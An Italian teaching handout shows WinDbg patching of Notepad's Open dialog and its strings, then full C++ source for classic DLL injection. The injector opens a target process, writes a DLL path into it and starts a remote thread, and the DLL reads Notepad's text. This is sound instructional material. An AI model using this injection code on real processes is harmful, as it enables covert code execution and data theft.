Hacking di Notepad.exe

(Prof. Fischetti Pietro)

windbg è uno degli strumenti di debug più potenti e popolari per Windows.

Prima di tutto si scarica da Microsoft.com la versione per32 o 64 bit.

Quindi creiamo un file .bat di configurazione per il percorso dei simboli di debug, cioe' i simboli scaricati dal sito di Microsoft e depositati in un adirectory scelta liberamente specificata c:\sysmbols in questo exempio.

```
set mypath=srv*C:\symbols*http://msdl.microsoft.com/download/symbols

ECHO %_NT_SYMBOL_PATH%|Findstr /i /C:"%mypath%" >nul || set _NT_SYMBOL_PATH=%_NT_SYMBOL_PATH%;%mypath%

set mypath=
```

Ora voglio modificare il comportamento di Notepad cioe' voglio staccare la finestra Apri File dalla finestra principale di Notepad, modificare alcune stringhe della finestra di dialogo modale apri file.

Dal menu scegliere Open Process oppure Attach to a Process a seconda se Notepad.exe sia in esecuzione o meno.

```
.....

ModLoad: 00007ffe`4fa50000 00007ffe`4fb42000   C:\Windows\System32\CoreMessaging.dll

ModLoad: 00007ffe`4f290000 00007ffe`4f5eb000   C:\Windows\System32\CoreUIComponents.dll

ModLoad: 00007ffe`54b60000 00007ffe`54bcb000   C:\Windows\System32\WS2_32.dll

ModLoad: 00007ffe`52e90000 00007ffe`52ec3000   C:\Windows\SYSTEM32\ntmarta.dll

(36cc.2e74): Break instruction exception - code 80000003 (first chance)

ntdll!DbgBreakPoint:

00007ffe`55bb0b10 cc            int     3

0:001> x USER32!CreateWindowExW

00007ffe`54f67150 USER32!CreateWindowExW = <no type information>

0:001> bp USER32!CreateWindowExW

0:001> bl

 0 e 00007ffe`54f67150     0001 (0001)  0:**** USER32!CreateWindowExW

0:001> g

*BUSY* Debuggee is running...
```

Click su File->Apri

```
USER32!CreateWindowExW:

00007ffe`54f67150 4c8bdc        mov     r11,rsp
```

E si ottiene in corrispondenza del Breakpoint il prompt

0:000>

Dare il comando k per vedere lo stack corrente delle chiamate:

```
0:000> k
Child-SP          RetAddr           Call Site
000000de`ac6ae5f8 00007ffe`543d1920 USER32!CreateWindowExW
000000de`ac6ae600 00007ffe`53c7aec4 shcore!SHCreateWorkerWindowW+0xe0
000000de`ac6ae6e0 00007ffe`53c7ad77 SHELL32!CChangeRouterProxy::_Validate+0x90
000000de`ac6ae720 00007ffe`53cc64b9 SHELL32!CChangeRouterProxy::GetProxy+0x67
000000de`ac6ae750 00007ffe`55562fbb SHELL32!SHChangeNotifyRegisterThread+0x19
000000de`ac6ae780 00007ff6`35b08416 comdlg32!CFileOpenSave::Show+0x98b
000000de`ac6aeb40 00007ff6`35b08767 notepad!ShowOpenSaveDialog+0xfe
000000de`ac6aebb0 00007ff6`35b09057 notepad!InvokeOpenDialog+0xc3
000000de`ac6aec10 00007ff6`35b0aac0 notepad!NPCommand+0x357
000000de`ac6af1f0 00007ffe`54f6ef75 notepad!NPWndProc+0x860
000000de`ac6af520 00007ffe`54f6e69d USER32!UserCallWinProcCheckWow+0x515
000000de`ac6af6b0 00007ff6`35b0afd8 USER32!DispatchMessageWorker+0x49d
000000de`ac6af730 00007ff6`35b23ae6 notepad!wWinMain+0x29c
000000de`ac6af7e0 00007ffe`55277344 notepad!__scrt_common_main_seh+0x106
000000de`ac6af820 00007ffe`55b626b1 KERNEL32!BaseThreadInitThunk+0x14
000000de`ac6af850 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:000>
```

La funzione da modificare e': notepad!InvokeOpenDialog+0xc3

Diamo un'occhiata al codice Disassemblato:

```
0:000> ub notepad!InvokeOpenDialog+0xc3
notepad!InvokeOpenDialog+0xa7:
00007ff6`35b0874b 8bd8          mov     ebx,eax
00007ff6`35b0874d 85c0          test    eax,eax
00007ff6`35b0874f 7864          js      notepad!InvokeOpenDialog+0x111 (00007ff6`35b087b5)
00007ff6`35b08751 4c8b05607e0200  mov     r8,qword ptr [notepad!szOpenCaption (00007ff6`35b305b8)]
00007ff6`35b08758 4c8bcf        mov     r9,rdi
00007ff6`35b0875b 488b55f0      mov     rdx,qword ptr [rbp-10h]
00007ff6`35b0875f 488bce        mov     rcx,rsi
```

00007ff6`35b08762 e8b1fbffff call notepad!ShowOpenSaveDialog (00007ff6`35b08318)

0:000>

L'istruzione da modificare e' la: mov rcx,rsi

Occorre sostituirla con l'istruzione che azzera il registro ecx che in questo caso contiene l'Handle della finestra Parent, cioe':

xor ecx, ecx

facndo attenzione alla corretta occupazione dei bytes in memoria: cioe' mv rcx, rsi occupa 3 byte (488bce) mentre xor ecx, ecx ne occupa solo 2 occorre allora aggiungere un byte (nop) per ristablire il tutto:

L'istruzione Windbg per modificare il codice e' la a (assemble):

0:000> a 00007ff6`35b0875f

00007ff6`35b0875f

Attenzione il prompt si modifica in:

Input>

Input> xor ecx,ecx (NB non occorre inserire il codice esadecimale dell'istruzione)

00007ff6`35b08761 (NB. L'indirizzo si e' autoincrementato da solo)

BUSY (ci mette un po')

Input>nop

00007ff6`35b08761 nop

nop

00007ff6`35b08762

Input> (Dare NL)

0:000>

Controlliamo le modifiche fatte:

0:000> ub notepad!InvokeOpenDialog+0xc3

notepad!InvokeOpenDialog+0xa9:

00007ff6`35b0874d 85c0 test eax,eax

00007ff6`35b0874f 7864 js notepad!InvokeOpenDialog+0x111 (00007ff6`35b087b5)

00007ff6`35b08751 4c8b05607e0200 mov r8,qword ptr [notepad!szOpenCaption (00007ff6`35b305b8)]

00007ff6`35b08758 4c8bcf mov r9,rdi

00007ff6`35b0875b 488b55f0 mov rdx,qword ptr [rbp-10h]

00007ff6`35b0875f 31c9 xor ecx,ecx

00007ff6`35b08761 90 nop

00007ff6`35b08762 e8b1fbffff call notepad!ShowOpenSaveDialog (00007ff6`35b08318)

0:000>

Eliminiamo tutti i breakpoint

0:000>bc *

0:000> g

BUSY Debuggee is running …

Chiudere la finestra Apri File e riaprirla

Si dovrebbe poter spostare la finestra principale di Notepad in Background, addirittura si possono aprire piu' finestre "Apri File".

Ora invece vediamo come modificare delle stringhe di Notepad:

la variabile che contiene le stringhe si chiama notepad!szOpenCaption che si vede nelle istruzioni precedenti:

00007ff6`35b08751 4c8b05607e0200  mov     r8,qword ptr [notepad!szOpenCaption (00007ff6`35b305b8)]

Ora se il programma e' in esecuzione cioe' il prompt e' sostituito da:

BUSY Debuggee is running …

Per ottenere il prompt dal menu di Windbg: Debug->Break:

e si ottiene il prompt

0:001>

Con il comando esaminiamo l'indirizzo della variabile:

0:001> x notepad!szOpenCaption

00007ff6`35b305b8 notepad!szOpenCaption = <no type information>

Dato che conterra' sicuramente delle stringhe (UNICODE)

0:001> dS notepad!szOpenCaption

0:001> dS notepad!szOpenCaption

00000234`6bc98202 "Tutti i file "

0:001>

Eccoci. Vediamo piu' in dettaglio:

0:001> db 00000234`6bc98202

00000234`6bc98202 54 00 75 00 74 00 74 00-69 00 20 00 69 00 20 00 T.u.t.t.i. .i. .

00000234`6bc98212 66 00 69 00 6c 00 65 00-20 00 00 00 41 00 70 00 f.i.l.e. ...A.p.

00000234`6bc98222 72 00 69 00 00 00 53 00-61 00 6c 00 76 00 61 00 r.i...S.a.l.v.a.

00000234`6bc98232 20 00 63 00 6f 00 6e 00-20 00 6e 00 6f 00 6d 00   .c.o.n. .n.o.m.

00000234`6bc98242 65 00 00 00 49 00 6d 00-70 00 6f 00 73 00 73 00 e...I.m.p.o.s.s.

00000234`6bc98252 69 00 62 00 69 00 6c 00-65 00 20 00 61 00 72 00 i.b.i.l.e. .a.r.

00000234`6bc98262 72 00 65 00 73 00 74 00-61 00 72 00 65 00 20 00 r.e.s.t.a.r.e. .

00000234`6bc98272 69 00 6c 00 20 00 73 00-69 00 73 00 74 00 65 00 i.l. .s.i.s.t.e.

Modifichiamo la T di Tutti (Notare gli zeri tra icaratteri ad indicare che sono stringhe UNICODE)

0:001> eb 00000234`6bc98202 'Z'

0:001> db 00000234`6bc98202

00000234`6bc98202 5a 00 75 00 74 00 74 00-69 00 20 00 69 00 20 00 Z.u.t.t.i. .i. .

00000234`6bc98212 66 00 69 00 6c 00 65 00-20 00 00 00 41 00 70 00 f.i.l.e. ...A.p.

00000234`6bc98222 72 00 69 00 00 00 53 00-61 00 6c 00 76 00 61 00 r.i...S.a.l.v.a.

00000234`6bc98232 20 00 63 00 6f 00 6e 00-20 00 6e 00 6f 00 6d 00   .c.o.n. .n.o.m.

00000234`6bc98242 65 00 00 00 49 00 6d 00-70 00 6f 00 73 00 73 00 e...I.m.p.o.s.s.

00000234`6bc98252 69 00 62 00 69 00 6c 00-65 00 20 00 61 00 72 00 i.b.i.l.e. .a.r.

00000234`6bc98262 72 00 65 00 73 00 74 00-61 00 72 00 65 00 20 00 r.e.s.t.a.r.e. .

00000234`6bc98272 69 00 6c 00 20 00 73 00-69 00 73 00 74 00 65 00 i.l. .s.i.s.t.e.

Modifichiamo Apri in Epri

La A di apri si trova all'offset 12, controlliamo:

0:001> db 00000234`6bc98212+0x0C

00000234`6bc9821e 41 00 70 00 72 00 69 00-00 00 53 00 61 00 6c 00 A.p.r.i...S.a.l.

00000234`6bc9822e 76 00 61 00 20 00 63 00-6f 00 6e 00 20 00 6e 00 v.a. .c.o.n. .n.

00000234`6bc9823e 6f 00 6d 00 65 00 00 00-49 00 6d 00 70 00 6f 00 o.m.e...I.m.p.o.

00000234`6bc9824e 73 00 73 00 69 00 62 00-69 00 6c 00 65 00 20 00 s.s.i.b.i.l.e. .

00000234`6bc9825e 61 00 72 00 72 00 65 00-73 00 74 00 61 00 72 00 a.r.r.e.s.t.a.r.

00000234`6bc9826e 65 00 20 00 69 00 6c 00-20 00 73 00 69 00 73 00 e. .i.l. .s.i.s.

00000234`6bc9827e 74 00 65 00 6d 00 61 00-20 00 6f 00 20 00 64 00 t.e.m.a. .o. .d.

00000234`6bc9828e 69 00 73 00 63 00 6f 00-6e 00 6e 00 65 00 74 00 i.s.c.o.n.n.e.t.

Modifico:

0:001> eb 00000234`6bc98212+0x0C 'E'

Controlliamo:

0:001> db 00000234`6bc98202

00000234`6bc98202 5a 00 75 00 74 00 74 00-69 00 20 00 69 00 20 00 Z.u.t.t.i. .i. .

00000234`6bc98212 66 00 69 00 6c 00 65 00-20 00 00 00 45 00 70 00 f.i.l.e. ...E.p.

00000234`6bc98222 72 00 69 00 00 00 53 00-61 00 6c 00 76 00 61 00 r.i...S.a.l.v.a.

00000234`6bc98232 20 00 63 00 6f 00 6e 00-20 00 6e 00 6f 00 6d 00   .c.o.n. .n.o.m.

00000234`6bc98242 65 00 00 00 49 00 6d 00-70 00 6f 00 73 00 73 00 e...I.m.p.o.s.s.

00000234`6bc98252 69 00 62 00 69 00 6c 00-65 00 20 00 61 00 72 00 i.b.i.l.e. .a.r.

00000234`6bc98262 72 00 65 00 73 00 74 00-61 00 72 00 65 00 20 00 r.e.s.t.a.r.e. .

00000234`6bc98272 69 00 6c 00 20 00 73 00-69 00 73 00 74 00 65 00 i.l. .s.i.s.t.e.

OK eseguo con g

Chiudo la finestra Apri File e la riapro dovrei vedere Epri e nella combobox in basso a destra Zutti i File:

Riferimenti:

https://www.codeproject.com/Articles/1276860/Hacking-with-Windbg-Part-1-Notepad

DLL Injection

N.B. E' probabile che l'antivirus blocchi il programma, utilizzare Metasploitable 3!

In questo caso vogliamo iniettare del codice nell'eseguibile Notepad.exe affinche' catturi quello che c'e scritto nella finestra principale di Notepad. Per Individuare la finestra principale di Notepad.exe e' necessario utilizzare il tool Microsoft Spy++ presente in Visual Studio. Con il Drag&Drop porto il mirino del menu coi binocoli 'Trova Finestra' su Notepad e scopro che la finestra principale appartiene alla classe Notepad mentre la finestra che contiene il testo ha classe con nome 'Edit', con queste informazioni possiamo creare un eseguibile che cerca il programma Notepad.exe magari attraverso il suo PID e una volta individuato gli inietta la dll che legge il contenuto:

evil.cpp

```
/*
evil.cpp
simple DLL for DLL inject to process
*/
#ifndef UNICODE
#define UNICODE
#endif
#ifndef _UNICODE
#define _UNICODE
#endif

#include <windows.h>
#include <vector>
#pragma comment (lib, "user32.lib")

#include <string>
#include <cassert>
std::wstring GetNotepadText()
{
   const HWND notepadWnd = FindWindowW(L"notepad", NULL); //handle to the youngest instance of "notepad".
   assert(notepadWnd != NULL); //sanity check...

   const HWND notepadEditWnd = FindWindowExW(notepadWnd, NULL, L"edit", NULL); //handle to the "edit" control.
   assert(notepadEditWnd != NULL); //sanity check...

   LRESULT textLength = SendMessageW(notepadEditWnd, WM_GETTEXTLENGTH, 0, 0) + 1;
```

```
//fetch the amount of characters that are in the control +1 NUL character.
   std::vector<std::wstring::value_type> buffer(textLength); //our buffer; our data will be dumped here first.

   SendMessageW(notepadEditWnd, WM_GETTEXT, buffer.size(), reinterpret_cast<LPARAM>(&buffer[0])); //dump the text into "buffer".

   buffer.pop_back(); //we don't need the last element (NUL) anymore, get rid of it.

   return std::wstring (buffer.begin(), buffer.end()); //construct a wide string with the our text and return it.
}

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
  {
    std::wstring my_str = GetNotepadText();
    LPCWSTR wide_string = my_str.c_str();
    MessageBox(
      NULL,
      wide_string,
      L"Text from dll!",
      MB_OK
    );
    }
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}
```

evil_inj.cpp

```
/*
* evil_inj.cpp
* classic DLL injection example
*/
//#define UNICODE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
```

```
#include <tlhelp32.h>

char evilDLL[] = "evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

void PrintAPIError(const char* msg, DWORD err)
{
	if (msg)
		fprintf(stderr, "%s (0x%x) ", msg, err);
	//DWORD err = GetLastError();

	LPVOID lpMsgBuf;

	FormatMessage(
		FORMAT_MESSAGE_ALLOCATE_BUFFER |
		FORMAT_MESSAGE_FROM_SYSTEM |
		FORMAT_MESSAGE_IGNORE_INSERTS,
		NULL,
		GetLastError(),
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
		(LPTSTR)&lpMsgBuf,
		0,
		NULL);

	fprintf(stderr, "WIN Last Error: %s", (LPCTSTR)lpMsgBuf);
	//MessageBox(NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK | MB_ICONERROR);
	// Free the buffer.
	LocalFree(lpMsgBuf);
}

int main(int argc, char* argv[]) {
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer

  // handle to kernel32 and pass it to GetProcAddress
  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  if(NULL == hKernel32){
	PrintAPIError("GetModuleHandle",GetLastError());
	return -1;
  }

  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
  if(NULL == lb){
	PrintAPIError("GetProcAddress",GetLastError());
	return -1;
  }
  // parse process ID
```

```
 if ( atoi(argv[1]) == 0) {
    printf("PID not found :( exiting...\n");
    return -1;
 }
 printf("PID: %i\n", atoi(argv[1]));
 ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
 if(NULL == ph){
        PrintAPIError("OpenProcess",GetLastError());
        return -1;
 }

 // allocate memory buffer for remote process
 rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);
 if(NULL == rb){
        PrintAPIError("VirtualAllocEx",GetLastError());
        return -1;
 }

 // "copy" evil DLL between processes
 BOOL r=WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
 if(NULL == r){
        PrintAPIError("WriteProcessMemory",GetLastError());
        return -1;
 }
 // our process start new thread
 rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
 if(NULL == rt){
        PrintAPIError("CreateRemoteThread",GetLastError());
        return -1;
 }
 CloseHandle(ph);
printf("\nBYE");
 return 0;
}
```

Comandi di compilazione da shell DOS
cl -c evil.cpp link -nologo -dll /OUT:evil.dll evil.obj cl evil_inj.cpp

A questo putno si avvia Notepad.exe (controllare che sia la sola per semplificare), poi cercarne il PID con il comando: C:\>tasklist | findstr i notepad

Supponiamo che ritorni il PID 1508

Allora lanciamo:

C:\> evil_inj 1508

Dovrebbe apparire una finestra di dialog con il testo copiato dalla finestra di notepad.

Rif:

https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html